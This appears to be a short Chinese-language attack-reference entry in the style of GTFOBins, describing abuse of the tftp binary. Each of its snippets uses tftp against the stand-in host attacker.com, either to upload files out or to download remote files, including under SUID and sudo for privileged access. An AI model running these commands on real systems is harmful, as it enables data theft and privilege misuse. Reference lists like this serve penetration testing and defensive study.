上传文件到外部。
RHOST=attacker.com
tftp $RHOST
put 要发送的文件
下载远程文件。
RHOST=attacker.com
tftp $RHOST
get file_to_get
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
RHOST=attacker.com
./tftp $RHOST
put 要发送的文件
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
RHOST=attacker.com
sudo tftp $RHOST
put 要发送的文件